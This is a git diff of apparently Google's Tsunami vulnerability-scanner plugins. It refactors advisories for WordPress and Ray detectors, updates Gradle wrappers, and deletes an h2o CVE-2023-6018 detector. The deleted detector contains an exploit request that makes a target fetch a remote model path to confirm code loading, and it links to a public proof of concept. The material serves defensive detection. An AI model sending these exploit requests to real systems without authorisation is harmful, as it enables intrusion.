your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/exposedui/wordpress/src/main/java/com/google/tsunami/plugins/detectors/exposedui/wordpress/WordPressInstallPageDetector.java b/google/detectors/exposedui/wordpress/src/main/java/com/google/tsunami/plugins/detectors/exposedui/wordpress/WordPressInstallPageDetector.java index a1d0edfcf..ff0f0eace 100644 --- a/google/detectors/exposedui/wordpress/src/main/java/com/google/tsunami/plugins/detectors/exposedui/wordpress/WordPressInstallPageDetector.java +++ b/google/detectors/exposedui/wordpress/src/main/java/com/google/tsunami/plugins/detectors/exposedui/wordpress/WordPressInstallPageDetector.java @@ -75,6 +75,25 @@ public final class WordPressInstallPageDetector implements VulnDetector { this.httpClient = checkNotNull(httpClient); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("UNFINISHED_WORD_PRESS_INSTALLATION")) + .setSeverity(Severity.CRITICAL) + .setTitle("Unfinished WordPress Installation") + // TODO(b/147455416): determine CVSS score. + .setDescription( + "An unfinished WordPress installation exposes the /wp-admin/install.php page, which" + + " allows attacker to set the admin password and possibly compromise the" + + " system.") + .setRecommendation(FINDING_RECOMMENDATION_TEXT) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -136,20 +155,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("UNFINISHED_WORD_PRESS_INSTALLATION")) - .setSeverity(Severity.CRITICAL) - .setTitle("Unfinished WordPress Installation") - // TODO(b/147455416): determine CVSS score. - .setDescription( - "An unfinished WordPress installation exposes the /wp-admin/install.php page," - + " which allows attacker to set the admin password and possibly" - + " compromise the system.") - .setRecommendation(FINDING_RECOMMENDATION_TEXT)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/exposedui/wordpress/src/test/java/com/google/tsunami/plugins/detectors/exposedui/wordpress/WordPressInstallPageDetectorTest.java b/google/detectors/exposedui/wordpress/src/test/java/com/google/tsunami/plugins/detectors/exposedui/wordpress/WordPressInstallPageDetectorTest.java index 50fb8bb1d..7e758d7a3 100644 --- a/google/detectors/exposedui/wordpress/src/test/java/com/google/tsunami/plugins/detectors/exposedui/wordpress/WordPressInstallPageDetectorTest.java +++ b/google/detectors/exposedui/wordpress/src/test/java/com/google/tsunami/plugins/detectors/exposedui/wordpress/WordPressInstallPageDetectorTest.java @@ -18,7 +18,6 @@ import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.plugins.detectors.exposedui.wordpress.WordPressInstallPageDetector.FINDING_RECOMMENDATION_TEXT; import static java.nio.charset.StandardCharsets.UTF_8; import com.google.common.collect.ImmutableList; @@ -34,12 +33,9 @@ import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; import com.google.tsunami.proto.ServiceContext; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import com.google.tsunami.proto.WebServiceContext; import java.io.IOException; import java.time.Instant; @@ -106,19 +102,7 @@ public void detect_whenResponseIsSetupForm_reportsVuln() throws IOException { .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("UNFINISHED_WORD_PRESS_INSTALLATION")) - .setSeverity(Severity.CRITICAL) - .setTitle("Unfinished WordPress Installation") - .setDescription( - "An unfinished WordPress installation exposes the" - + " /wp-admin/install.php page, which allows attacker to set the" - + " admin password and possibly compromise the system.") - .setRecommendation(FINDING_RECOMMENDATION_TEXT)) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } @@ -149,19 +133,7 @@ public void detect_whenResponseIsLocalizedSetupForm_reportsVuln() throws IOExcep .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("UNFINISHED_WORD_PRESS_INSTALLATION")) - .setSeverity(Severity.CRITICAL) - .setTitle("Unfinished WordPress Installation") - .setDescription( - "An unfinished WordPress installation exposes the" - + " /wp-admin/install.php page, which allows attacker to set the" - + " admin password and possibly compromise the system.") - .setRecommendation(FINDING_RECOMMENDATION_TEXT)) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } @@ -196,19 +168,7 @@ public void detect_whenNonEmptyAppRoot_reportsVuln() throws IOException { .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("UNFINISHED_WORD_PRESS_INSTALLATION")) - .setSeverity(Severity.CRITICAL) - .setTitle("Unfinished WordPress Installation") - .setDescription( - "An unfinished WordPress installation exposes the" - + " /wp-admin/install.php page, which allows attacker to set the" - + " admin password and possibly compromise the system.") - .setRecommendation(FINDING_RECOMMENDATION_TEXT)) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/rce/ai/cve202348022/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/ai/cve202348022/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/ai/cve202348022/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/ai/cve202348022/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/ai/cve202348022/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/ai/cve202348022/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/ai/cve202348022/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/ai/cve202348022/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/ai/cve202348022/gradlew b/google/detectors/rce/ai/cve202348022/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/ai/cve202348022/gradlew +++ b/google/detectors/rce/ai/cve202348022/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/ai/cve202348022/gradlew.bat b/google/detectors/rce/ai/cve202348022/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/ai/cve202348022/gradlew.bat +++ b/google/detectors/rce/ai/cve202348022/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/ai/cve202348022/src/main/java/com/google/tsunami/plugins/cve202348022/Cve202348022Detector.java b/google/detectors/rce/ai/cve202348022/src/main/java/com/google/tsunami/plugins/cve202348022/Cve202348022Detector.java index 88e5249b2..c567b6226 100644 --- a/google/detectors/rce/ai/cve202348022/src/main/java/com/google/tsunami/plugins/cve202348022/Cve202348022Detector.java +++ b/google/detectors/rce/ai/cve202348022/src/main/java/com/google/tsunami/plugins/cve202348022/Cve202348022Detector.java @@ -73,6 +73,26 @@ public final class Cve202348022Detector implements VulnDetector { this.payloadGenerator = checkNotNull(payloadGenerator); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE-2023-48022")) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-48022")) + .setTitle("CVE-2023-48022 Arbitrary Code Execution in Ray") + .setDescription( + "An attacker can use the job upload functionality to execute arbitrary code on" + + " the server hosting the ray application.") + .setRecommendation( + "There is no patch available as this is considered intended functionality." + + " Restrict access to ray to be local only, and do not expose it to the" + + " network.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -149,19 +169,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE-2023-48022")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2023-48022 Arbitrary Code Execution in Ray") - .setDescription( - "An attacker can use the job upload functionality to execute arbitrary code on" - + " the server hosting the ray application.") - .setRecommendation( - "There is no patch available as this is considered intended functionality." - + " Restrict access to ray to be local only, and do not expose it to the" - + " network.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/ai/cve202348022/src/test/java/com/google/tsunami/plugins/cve202348022/Cve202348022DetectorTest.java b/google/detectors/rce/ai/cve202348022/src/test/java/com/google/tsunami/plugins/cve202348022/Cve202348022DetectorTest.java index 80288da45..7179e6222 100644 --- a/google/detectors/rce/ai/cve202348022/src/test/java/com/google/tsunami/plugins/cve202348022/Cve202348022DetectorTest.java +++ b/google/detectors/rce/ai/cve202348022/src/test/java/com/google/tsunami/plugins/cve202348022/Cve202348022DetectorTest.java @@ -31,10 +31,7 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.security.SecureRandom; import java.time.Instant; @@ -115,14 +112,7 @@ public void detect_withCallbackServer_onVulnerableTarget_returnsVulnerability() .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE-2023-48022")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2023-48022 Arbitrary Code Execution in Ray")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/rce/ai/cve20236018/README.md b/google/detectors/rce/ai/cve20236018/README.md deleted file mode 100644 index 8662764d7..000000000 --- a/google/detectors/rce/ai/cve20236018/README.md +++ /dev/null @@ -1,19 +0,0 @@ -# h2o CVE-2023-6018 Detector - -This plugin for Tsunami detects a remote code execution (RCE) vulnerability in -h2o, which is an ML platform. - -More information on the vulnerability: - -* [CVE-2023-6018](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6018) -* [POC](https://github.com/protectai/ai-exploits/blob/main/h2o/nuclei-templates/h2o-pojo-rce.yaml) - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/google/detectors/rce/ai/cve20236018/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/ai/cve20236018/gradle/wrapper/gradle-wrapper.jar deleted file mode 100644 index d64cd4917..000000000 Binary files a/google/detectors/rce/ai/cve20236018/gradle/wrapper/gradle-wrapper.jar and /dev/null differ diff --git a/google/detectors/rce/ai/cve20236018/settings.gradle b/google/detectors/rce/ai/cve20236018/settings.gradle deleted file mode 100644 index e0767094d..000000000 --- a/google/detectors/rce/ai/cve20236018/settings.gradle +++ /dev/null @@ -1 +0,0 @@ -rootProject.name = 'cve20236018' diff --git a/google/detectors/rce/ai/cve20236018/src/main/java/com/google/tsunami/plugins/cve20236018/Cve20236018Detector.java b/google/detectors/rce/ai/cve20236018/src/main/java/com/google/tsunami/plugins/cve20236018/Cve20236018Detector.java deleted file mode 100644 index 4f423770e..000000000 --- a/google/detectors/rce/ai/cve20236018/src/main/java/com/google/tsunami/plugins/cve20236018/Cve20236018Detector.java +++ /dev/null @@ -1,160 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.cve20236018; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; - -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.protobuf.ByteString; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpRequest; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.ForWebService; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.Payload; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.PayloadGeneratorConfig; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Instant; -import javax.inject.Inject; - -/** A VulnDetector plugin for CVE 20236018. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "CVE-2023-6018 Detector", - version = "0.1", - description = - "This detector checks for occurrences of CVE-2023-6018 in h2o default installations.", - author = "Marius Steffens (mariussteffens@google.com)", - bootstrapModule = Cve20236018DetectorModule.class) -@ForWebService -public final class Cve20236018Detector implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - private final Clock utcClock; - private final HttpClient httpClient; - private final PayloadGenerator payloadGenerator; - - @Inject - Cve20236018Detector( - @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) { - this.utcClock = checkNotNull(utcClock); - this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); - this.payloadGenerator = checkNotNull(payloadGenerator); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - private boolean isServiceVulnerable(NetworkService networkService) { - var payload = getTsunamiCallbackHttpPayload(); - - if (!payload.getPayloadAttributes().getUsesCallbackServer()) { - logger.atWarning().log( - "Tsunami callback server is not setup for this environment, cannot run CVE-2023-6018" - + " Detector."); - return false; - } - - var requestWithPayload = getExploitRequest(networkService, payload); - - try { - var response = this.httpClient.send(requestWithPayload, networkService); - - return looksLikeH2oResponse(response) && payload.checkIfExecuted(); - } catch (IOException e) { - logger.atWarning().withCause(e).log("Failed to send request."); - return false; - } - } - - private Payload getTsunamiCallbackHttpPayload() { - return this.payloadGenerator.generate( - PayloadGeneratorConfig.newBuilder() - .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF) - .setInterpretationEnvironment( - PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY) - .setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY) - .build()); - } - - private HttpRequest getExploitRequest(NetworkService networkService, Payload payload) { - String rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - String body = String.format("model_id=irrelevant&path=http://%s", payload.getPayload()); - return HttpRequest.post(rootUrl + "3/ModelBuilders/generic") - .setHeaders( - HttpHeaders.builder() - .addHeader("content-type", "application/x-www-form-urlencoded") - .build()) - .setRequestBody(ByteString.copyFromUtf8(body)) - .build(); - } - - private boolean looksLikeH2oResponse(HttpResponse response) { - return response.status().isSuccess() - && response.bodyString().get().contains("model_id") - && response.bodyString().get().contains("Import MOJO Model"); - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE-2023-6018")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2023-6018") - .setDescription( - "An attacker can use the model upload functionality to load remote Java code" - + " and gains code execution on the server hosting the h2o application.") - .setRecommendation( - "There is no patch available as this is considered intended functionality." - + " Restrict access to h2o to be local only, and do not expose it to the" - + " network.")) - .build(); - } -} diff --git a/google/detectors/rce/ai/cve20236018/src/main/resources/com/google/tsunami/plugins/cve20236018/response.json b/google/detectors/rce/ai/cve20236018/src/main/resources/com/google/tsunami/plugins/cve20236018/response.json deleted file mode 100644 index f2e291bdf..000000000 --- a/google/detectors/rce/ai/cve20236018/src/main/resources/com/google/tsunami/plugins/cve20236018/response.json +++ /dev/null @@ -1 +0,0 @@ -{"__meta":{"schema_version":3,"schema_name":"GenericV3","schema_type":"Generic"},"_exclude_fields":null,"job":{"__meta":{"schema_version":3,"schema_name":"JobV3","schema_type":"Job"},"key":{"__meta":{"schema_version":3,"schema_name":"JobKeyV3","schema_type":"Key"},"name":"$0301ac13000232d4ffffffff$_b856232cfb8180f591ebc1cc02c94ece","type":"Key","URL":"/3/Jobs/$0301ac13000232d4ffffffff$_b856232cfb8180f591ebc1cc02c94ece"},"description":"Generic","status":"RUNNING","progress":0.0,"progress_msg":null,"start_time":1704983654930,"msec":0,"dest":{"__meta":{"schema_version":3,"schema_name":"ModelKeyV3","schema_type":"Key"},"name":"random","type":"Key","URL":"/3/Models/random"},"warnings":null,"exception":null,"stacktrace":null,"auto_recoverable":false,"ready_for_view":true},"algo":"generic","algo_full_name":"Import MOJO Model","can_build":["Unknown","Binomial","Multinomial","Ordinal","Regression","HGLMRegression","Clustering","AutoEncoder","TargetEncoder","DimReduction","WordEmbedding","CoxPH","AnomalyDetection","KLime","BinomialUplift"],"visibility":"Stable","supervised":false,"messages":[],"error_count":0,"parameters":[{"__meta":{"schema_version":3,"schema_name":"ModelParameterSchemaV3","schema_type":"Iced"},"name":"model_id","label":"model_id","help":"Destination id for this model; auto-generated if not specified.","required":false,"type":"Key","default_value":null,"actual_value":{"__meta":{"schema_version":3,"schema_name":"ModelKeyV3","schema_type":"Key"},"name":"random","type":"Key","URL":"/3/Models/random"},"input_value":null,"level":"critical","values":[],"is_member_of_frames":[],"is_mutually_exclusive_with":[],"gridable":false},{"__meta":{"schema_version":3,"schema_name":"ModelParameterSchemaV3","schema_type":"Iced"},"name":"model_key","label":"model_key","help":"Key to the self-contained model archive already uploaded to H2O.","required":false,"type":"Key","default_value":null,"actual_value":null,"input_value":null,"level":"critical","values":[],"is_member_of_frames":[],"is_mutually_exclusive_with":[],"gridable":false},{"__meta":{"schema_version":3,"schema_name":"ModelParameterSchemaV3","schema_type":"Iced"},"name":"path","label":"path","help":"Path to file with self-contained model archive.","required":false,"type":"string","default_value":null,"actual_value":"http://d853834d35fcd018738a0ed53127266c88beef52708fe59008ee1da9.asm-prod.cb.goog","input_value":null,"level":"critical","values":[],"is_member_of_frames":[],"is_mutually_exclusive_with":[],"gridable":false}]} diff --git a/google/detectors/rce/ai/cve20236018/src/test/java/com/google/tsunami/plugins/cve20236018/Cve20236018DetectorTest.java b/google/detectors/rce/ai/cve20236018/src/test/java/com/google/tsunami/plugins/cve20236018/Cve20236018DetectorTest.java deleted file mode 100644 index 6637e966e..000000000 --- a/google/detectors/rce/ai/cve20236018/src/test/java/com/google/tsunami/plugins/cve20236018/Cve20236018DetectorTest.java +++ /dev/null @@ -1,209 +0,0 @@ -/* - * Copyright 2020 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.cve20236018; - -import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static java.nio.charset.StandardCharsets.UTF_8; - -import com.google.common.collect.ImmutableList; -import com.google.common.io.Resources; -import com.google.inject.Guice; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.security.SecureRandom; -import java.time.Instant; -import java.util.Arrays; -import javax.inject.Inject; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import org.junit.After; -import org.junit.Before; -import org.junit.BeforeClass; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for the {@link Cve20236018Detector}. */ -@RunWith(JUnit4.class) -public final class Cve20236018DetectorTest { - private final MockWebServer mockTargetService = new MockWebServer(); - private final MockWebServer mockCallbackServer = new MockWebServer(); - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - private final SecureRandom testSecureRandom = - new SecureRandom() { - @Override - public void nextBytes(byte[] bytes) { - Arrays.fill(bytes, (byte) 0xFF); - } - }; - - private static String vulnerableResponseBody; - - @Inject private Cve20236018Detector detector; - - @BeforeClass - public static void setUpAll() throws IOException { - vulnerableResponseBody = - Resources.toString( - Resources.getResource(Cve20236018Detector.class, "response.json"), UTF_8); - } - - @Before - public void setUp() throws IOException { - mockTargetService.start(); - mockCallbackServer.start(); - - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder() - .setCallbackServer(mockCallbackServer) - .setSecureRng(testSecureRandom) - .build(), - new Cve20236018DetectorModule()) - .injectMembers(this); - } - - @After - public void tearDown() throws Exception { - mockTargetService.shutdown(); - mockCallbackServer.shutdown(); - } - - @Test - public void detect_withCallbackServer_onVulnerableTarget_returnsVulnerability() - throws IOException { - mockTargetService.enqueue( - new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(vulnerableResponseBody)); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); - NetworkService targetNetworkService = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) - .addSupportedHttpMethods("POST") - .build(); - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) - .build(); - - 